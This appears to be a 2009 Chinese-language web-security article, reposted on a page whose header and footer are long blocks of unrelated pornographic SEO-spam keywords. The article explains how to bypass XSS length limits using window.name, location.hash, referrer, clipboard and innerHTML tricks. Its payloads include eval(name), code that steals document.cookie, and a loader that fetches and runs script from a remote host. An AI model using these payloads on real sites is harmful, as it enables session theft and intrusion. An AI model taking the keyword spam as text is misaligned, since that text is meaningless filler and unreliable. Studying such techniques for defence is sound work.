国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

突破XSS字符數量限制執行任意JS代碼
2009-05-08   

一、綜述

有些XSS漏洞由于字符數量有限制而沒法有效的利用,只能彈出一個對話框來YY,本文主要討論如何突破字符數量的限制進行有效的利用,這里對有效利用的定義是可以不受限制執行任意JS。對于跨站師們來說,研究極端情況下XSS利用的可能性是一種樂趣;對于產品安全人員來說,不受限制的利用的可能是提供給開發人員最有力的證據,要求他們重視并修補這些極端情況下的XSS漏洞。

突破的方法有很多種,但是突破的思想基本都一樣,那就是執行可以控制的不受限制的數據。

二、突破方法

2.1 利用HTML上下文中其他可以控制的數據

如果存在XSS漏洞的頁面HTML上下文還有其他可以控制的數據,那么可以通過JS獲得該數據通過eval或者document.write/innerHTML等方式執行該數據,從而達到突破XSS字符數量限制的目的,下面例子假設div元素的內部數據可以控制,但是該數據已經被HTML編碼過:


可控的安全的數據
alert(/xss/);

由于XSS點有字符數量限制,所以這里只能彈框,那么我們可以把XSS的Payload通過escape編碼后作為安全的數據,輸出到可控的安全數據位置,然后在XSS點執行可控的安全數據:


alert%28document.cookie%29%3B
eval(unescape(x.innerHTML));

長度:28 + len(id)

由于x內部的數據沒有字符數量的限制,那么從而可以達到執行任意JS的目的。

2.2 利用URL中的數據

如果頁面里不存在上一節所說的可控HTML上下文數據怎么辦?有些數據是我們無條件可控的,第一個想到的就是URL,通過在URL的尾部參數構造要執行的代碼,然后在XSS點通過document.URL/location.href等方式獲得代碼數據執行,這里假設代碼從第80個字符開始到最后:


http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)

eval(document.URL.substr(80));

長度:30


limited_xss_point>eval(location.href.substr(80));

長度:31

上面兩個例子對比,前一個例子更短,那么有沒有辦法更短呢?通過查閱JavaScript手冊的String的方法可以發現,切割字符串有一個更短的函數slice,5個字符比substr還要短一個字符:


eval(document.URL.slice(80));

長度:29


eval(location.href.slice(80));

長度:30

那么還有沒有辦法更短呢?答案是YES,查閱一下MSND里的location對象的參考你會發現有個hash成員,獲取#之后的數據,那么我們可以把要執行的代碼放在#后面,然后通過hash獲得代碼執行,由于獲得的數據是#開頭的,所以只需要slice一個字符就可以拿到代碼:

 

http://www.xssedsite.com/xssed.php?x=1....#alert(document.cookie)

eval(location.hash.slice(1));

長度:29

這樣比上面的例子又少了一個字符。那么還可以更短么?

2.3 JS上下文的利用

為什么我如此痛苦?那是因為JS和DHTML的方法名和屬性名太長!瞧瞧這些“糟糕”的名字:

String.fromCharCode
getElementById
getElementsByTagName
document.write
XMLHTTPRequest
...

就連開發人員也不愿意多寫一次,于是很多站點的前端開發工程師們封裝了各式各樣的簡化函數,最經典的例子就是:


function $(id){return document.getElementById(id);}

這些函數同樣可以為我們所用,用來縮短我們的Payload的長度。不過上面這個例子不是最短的,IE和FF都支持直接通過ID來引用一個元素。有些函數可以直接用來加載我們的代碼:


function loads(url) {
...
document.body.appendChild(script);
}

loads('http://xxx.com/x');

長度:len(函數名) + len(url) + 5

當然你的url則是越短越好哦!有些函數則會幫我們去作HTTP請求:


function get(url) {
...
return x.responseText;
}

eval(get('http://xxx.com/x'));

長度:len(函數名) + len(url) + 11

道哥則提出有些流行的JS的開發框架也封裝了大量功能強勁的庫可供調用,比如:

JQuery
YUI
...

綜上所述,我們可以通過分析JS上下文現有的框架、對象、類、函數來盡可能的縮短我們的代碼,進而突破長度限制執行任意代碼。

2.4 利用瀏覽器特性在跨域的頁面之間傳遞數據

雖然有同源策略的限制,瀏覽器的功能設計上仍然保留了極少數的可以跨域傳遞數據的方法,我們可以利用這些方法來跨頁面傳遞數據到被XSS的域的頁面去執行。

2.4.1 document.referrer

攻擊者可以在自己的域上構造頁面跳轉到被XSS頁面,在自己域上的頁面的url里帶了Payload,被XSS的頁面通過referrer獲取相關代碼執行。

攻擊者構造的的頁面:


http://www.a.com/attack.html?...&alert(document.cookie)

go

被XSS的頁面:


eval(document.referrer.slice(80));

長度:34

這種方式利用上還有一些問題,如果使用location.href或者 實現的自動跳轉,在IE里被攻擊頁面拿不到referrer,而FF則可以。QZ建議用表單提交的方式比較好,我測試了下,果然通用,FF/IE都可以成功獲取referrer:


 


2.4.2 剪切板clipboardData

攻擊者在自己域的頁面上通過clipboardData把Payload寫入剪切板,然后在被XSS頁面獲取并執行該數據。

攻擊者構造的頁面:


 

被XSS的頁面:


eval(clipboardData.getData("text"));

長度:36

這種方式只適用于IE系列,并且在IE 7及以上版本的瀏覽器會有安全提示。

2.4.3 窗口名window.name

這是一個很少被用到的特性,在研究同源策略時就注意過這個屬性,它是可以跨域傳遞數據的,但是這個特性本身并不是漏洞。

如果仔細研究過window.open這個方法,會發現一個不常用的第二個參數,這個則是設置窗口名,用于指定target窗口,如果不存在的話則創建新的子窗口,并設置子窗口的name。當我想打搜window.open時一陣狂喜,喜的是window.name這個屬性是window對象的成員,那么只需要name就可以引用該屬性,但是測試時卻發現window.open方法對于第二個參數進行了嚴格的檢查,只允許數字字母以及下劃線的組合,禁止特殊字符進入,那么這種方式就沒法寫入JS或者VBS。

但是經過測試發現我們可以通過window.name直接設置當前窗口的name則沒有特殊字符限制,然后直接跳轉到被XSS的頁面,通過name屬性傳遞Payload過去執行:

攻擊者構造的頁面:

 

 

被XSS的頁面:


eval(name);

長度:11

這個長度可以說是短到極致了,并且這個方法IE/FF都可以很好的支持,是個非常有意思的技巧,這個技巧的發現也是促成本文的直接原因。

window.name的特性還有其他一些有趣的應用方式,這個方面的話題以后可以專門寫篇文章來探討。

2.5 以上的方式結合使用

以上的方式結合使用,一般情況下會使得長度更長,但是也不排除在某些變態的過濾情況中,靈活的組合上面的方法可能會起到奇效。

三、后記

JS非常靈活,所以方法肯定不限于這些,在具體的問題的分析和研究中,可以獲得很多的樂趣,并且對JS以及瀏覽器本身有了更深的認識,如果您有巧妙的技巧或者新奇的構思,歡迎和我交流!

感謝axis*刺*大風*道哥、rayh4c*QZ*茄子為本文提出的寶貴意見!

本文是純粹的技術探討,請勿用于非法用途!

四、參考

http://msdn.microsoft.com/en-us/library/aa155073.aspx

熱詞搜索:

上一篇:方正科技推廣國外殺毒軟件頁面遭遇掛馬
下一篇:黑客進入wordpress后臺拿shell

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
欧美成人午夜电影| 国产精品成人一区二区三区夜夜夜| 亚洲国产成人av| 欧美一区二区播放| 亚洲一区二区三区爽爽爽爽爽| 精品一区二区在线观看| 欧美日韩国产大片| 欧美性欧美巨大黑白大战| 国产欧美综合色| 国产成人av影院| 亚洲国产毛片aaaaa无费看 | 日韩免费在线观看| 久久精品99国产精品日本| 在线综合亚洲欧美在线视频| 亚洲宅男天堂在线观看无病毒| 国产二区国产一区在线观看| 成人午夜大片免费观看| 国产女主播在线一区二区| 99国产精品视频免费观看| 欧美一区二区在线免费观看| 欧美成人精品1314www| 成人动漫视频在线| 老司机精品视频导航| 欧美成人a在线| 欧美午夜精品电影| 激情综合色综合久久| 日韩一区欧美一区| 久久亚洲一级片| 欧美色窝79yyyycom| 国产麻豆精品视频| 亚洲动漫第一页| 综合久久久久综合| 国产精品美女www爽爽爽| 日韩欧美激情四射| 欧美狂野另类xxxxoooo| 欧美日韩亚州综合| 在线一区二区三区| 91影视在线播放| 91视视频在线观看入口直接观看www| 亚洲午夜精品在线| 午夜视频在线观看一区二区| 中文av一区特黄| 亚洲午夜久久久久中文字幕久| 青青国产91久久久久久| 国产精品一品视频| 精品国产一区二区亚洲人成毛片| 日本中文字幕一区| 97国产精品videossex| 精品国产伦一区二区三区观看方式| 欧美一级精品大片| 国产成人精品网址| 一本一本久久a久久精品综合麻豆 一本一道波多野结衣一区二区 | 亚洲欧洲日韩女同| 91精品欧美综合在线观看最新| 午夜精品久久久久久久久久| 欧美日韩精品一区二区在线播放 | 亚洲图片有声小说| 欧美一区二区三区免费大片| 激情综合色播五月| 国产精品免费视频网站| 色综合天天综合网天天看片| 国产91丝袜在线18| 欧美日韩一区二区三区高清 | 国产真实乱子伦精品视频| 国产又粗又猛又爽又黄91精品| 色综合久久综合网欧美综合网| 亚洲图片激情小说| 欧美日韩不卡在线| 成人性色生活片免费看爆迷你毛片| 国产精品免费久久久久| 欧美高清视频不卡网| 亚洲精品在线免费观看视频| 国产乱码精品一区二区三区五月婷| 色婷婷国产精品久久包臀| 手机精品视频在线观看| 久久综合久久99| 欧美美女bb生活片| 国产福利一区二区三区视频在线 | 蜜桃av一区二区| 国产精品久久久久四虎| 日韩一区二区三区视频| 色综合中文字幕| 国产在线视频不卡二| 青娱乐精品视频| 亚洲制服丝袜一区| 亚洲卡通欧美制服中文| 欧美激情中文字幕一区二区| 91精品福利在线一区二区三区 | 欧美午夜宅男影院| 亚洲三级电影网站| 欧美一二三在线| 亚洲成av人片www| 欧美唯美清纯偷拍| 国内精品不卡在线| 欧美日韩视频在线第一区 | 1区2区3区国产精品| 日韩一区二区三区av| 色婷婷av一区| 97se亚洲国产综合自在线观| 国产精品一区在线观看乱码| 日本系列欧美系列| 一区二区三区国产精品| 国产精品青草综合久久久久99| 欧美成人性战久久| 欧美一区二视频| 欧美日韩国产综合久久| 色国产精品一区在线观看| 成人激情校园春色| 国产成人av电影| 国内欧美视频一区二区| 美女一区二区三区| 亚洲一区中文在线| 久久久精品中文字幕麻豆发布| 欧美日韩激情一区二区| 91丝袜呻吟高潮美腿白嫩在线观看| 另类专区欧美蜜桃臀第一页| 亚洲动漫第一页| 精品日韩99亚洲| 日韩三级视频中文字幕| 欧美日韩性生活| 欧美偷拍一区二区| 色哟哟国产精品| 色综合久久88色综合天天6| 国产一区二区三区蝌蚪| 久草中文综合在线| 久久99精品国产麻豆婷婷| 日韩中文字幕区一区有砖一区| 亚洲精品福利视频网站| 欧美激情中文不卡| 亚洲欧洲日韩在线| 成人欧美一区二区三区白人| 日本一区二区久久| 国产拍揄自揄精品视频麻豆| 国产亚洲短视频| 中文字幕字幕中文在线中不卡视频| 久久五月婷婷丁香社区| 久久综合久久综合亚洲| 久久你懂得1024| 久久久久久久免费视频了| 国产日产欧产精品推荐色| 国产丝袜在线精品| 国产精品久久久久永久免费观看| 国产欧美日韩三级| 国产精品久久久久久久久动漫| 国产精品短视频| 天天综合网 天天综合色| 日韩在线一区二区| 理论电影国产精品| 成人午夜免费av| 成人激情校园春色| 777xxx欧美| 久久久久久久久久久99999| 中国av一区二区三区| 综合自拍亚洲综合图不卡区| 亚洲欧洲日产国码二区| 偷窥少妇高潮呻吟av久久免费| 另类调教123区| 成人动漫视频在线| 欧美日韩久久久| 日韩欧美一区二区三区在线| 国产精品久久久久永久免费观看| 亚洲精品乱码久久久久久黑人 | 久久se精品一区二区| 高清不卡在线观看| 国产成人在线影院 | 伊人色综合久久天天| 青青国产91久久久久久| 国产美女在线精品| 色婷婷激情一区二区三区| 欧美日韩国产精品成人| 国产欧美日韩麻豆91| 一区二区三区中文免费| 久久精品久久99精品久久| 99久久婷婷国产综合精品电影| 欧美精品一二三区| 国产精品色眯眯| 婷婷综合久久一区二区三区| 91丨九色丨蝌蚪富婆spa| 91精品久久久久久久99蜜桃| 欧美国产成人在线| 免费一级片91| 国产成人免费av在线| 日韩亚洲欧美中文三级| 亚洲男女一区二区三区| 狠狠色丁香久久婷婷综合_中| 日本高清成人免费播放| 欧美大片在线观看一区二区| 夜色激情一区二区| 国产一区二区不卡在线| 91精品国产综合久久久蜜臀粉嫩 | 91传媒视频在线播放| 欧美日韩日日夜夜| 亚洲宅男天堂在线观看无病毒| 国产精品一区二区男女羞羞无遮挡| 欧美三区免费完整视频在线观看| 中文成人综合网| 洋洋成人永久网站入口| 日本乱人伦一区| 亚洲天堂福利av| av资源网一区|